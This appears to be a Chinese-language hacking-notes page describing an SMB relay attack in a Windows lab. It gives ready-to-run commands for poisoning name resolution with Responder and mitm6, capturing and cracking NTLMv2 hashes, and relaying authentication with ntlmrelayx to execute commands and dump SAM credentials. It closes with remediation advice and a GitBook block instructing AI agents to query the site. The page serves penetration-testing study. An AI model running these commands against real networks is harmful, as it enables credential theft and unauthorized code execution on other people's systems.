> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/smb-relay-in-windows-environments.md).

# Windows 环境中的 SMB 中继

SMB 中继在 SMB 签名未被要求时会捕获 NTLM 身份验证并将其中继到另一台主机。此工作流仅用于授权的 Windows 实验环境和内部评估。

## 需要验证的条件

* 至少有一个目标不要求 SMB 签名。
* 被捕获的账户在某个中继目标上具有有用的访问权限。
* Responder 的 SMB 和 HTTP 服务器在以下情况下被禁用 `ntlmrelayx` 负责处理中继。
* 中继目标列在 `targets.txt`.

## 使用 Responder 捕获 NTLMv2

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="/files/76a30c8bbf320cc0716ac6fcdaf06a48bce5dc4a" alt="Responder listening for Windows name resolution traffic"><figcaption></figcaption></figure>

Windows 网络通常会通过软件清单、管理任务、共享访问和名称解析产生自动身份验证。

<figure><img src="/files/132b4fdb503f095bc505f84ac87be8754f961e93" alt="Responder capturing NTLMv2 authentication"><figcaption></figcaption></figure>

<figure><img src="/files/ab0cfa1efe1984f3331948be4c7928798075455e" alt="Captured NTLMv2 hash output"><figcaption></figcaption></figure>

## 离线破解

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="/files/e1ae91bc18b97be12989f89c27727de28997033c" alt="John cracking captured NTLMv2 hash"><figcaption></figcaption></figure>

<figure><img src="/files/acf63b8b83b7afb4b1e3d33f426b441fe12aea4c" alt="Recovered password from NTLMv2 hash"><figcaption></figcaption></figure>

## SMB 枚举

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="/files/0542d00e0e6f1dee4cd22542b54032fcde4d45e0" alt="CrackMapExec SMB scan"><figcaption></figcaption></figure>

<figure><img src="/files/3ba9ec21efaab1d0e10e0a9ba85e95545ed4f7fd" alt="SMB signing and host enumeration output"><figcaption></figcaption></figure>

验证账户权限：

```bash
crackmapexec smb 192.168.71.0/24 -u '<user>' -p '<password>'
```

<figure><img src="/files/91d2e65897bec9048fc35a894e920a58abd7dbf7" alt="Validating SMB access with recovered credentials"><figcaption></figcaption></figure>

## 使用 ntlmrelayx 进行中继

在中禁用 SMB 和 HTTP `Responder.conf`，然后运行 Responder：

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

启动中继：

```bash
ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="/files/bbf9fce65f115b4ccc5abfee4cec194e9fbfd2ff" alt="ntlmrelayx started with target file"><figcaption></figcaption></figure>

<figure><img src="/files/f66908eb128f9f628b643cddf02c8ff77cb79dfa" alt="Successful SMB relay output"><figcaption></figcaption></figure>

## 通过中继验证命令执行

当命令执行在范围内时，先用一个低影响命令验证中继：

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

为了更清晰地证明，将执行上下文写入中继目标上的临时文件：

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```

<figure><img src="/files/fcd234e97260bfcb6c0e2001f605ad9cefe25ccc" alt="ntlmrelayx executing a PowerShell command"><figcaption></figcaption></figure>

<figure><img src="/files/3544335b4ce196121afbbe5835c1d4179bbe4c86" alt="SMB relay command execution validation"><figcaption></figcaption></figure>

## 使用 mitm6 的 IPv6 变体

```bash
mitm6 -d j0rdan.local
```

<figure><img src="/files/1c761c28d57f8dc19ae30c8fcbbfe420ef8e910d" alt="mitm6 started against the lab domain"><figcaption></figcaption></figure>

<figure><img src="/files/391ff77f937c3c91f6df7391eb1f374f1b54e474" alt="mitm6 DHCPv6 poisoning output"><figcaption></figcaption></figure>

IPv6 中继：

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="/files/d6160410fa41efa849610249d6d609876cf06935" alt="ntlmrelayx IPv6 relay with SOCKS enabled"><figcaption></figcaption></figure>

通过代理使用中继：

```bash
proxychains cme smb 192.168.71.151 -u '<user>' -p '<password>' -d '<domain>' --sam
```

## 关键要点

* SMB 中继主要依赖于不要求 SMB 签名。
* Responder 和 `ntlmrelayx` 必须进行配置，使其不会在 SMB 或 HTTP 流量上发生冲突。
* 通过要求 SMB 签名、减少 NTLM 的使用、监控 LLMNR/NBNS/WPAD 滥用以及限制本地管理员权限来进行修复。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
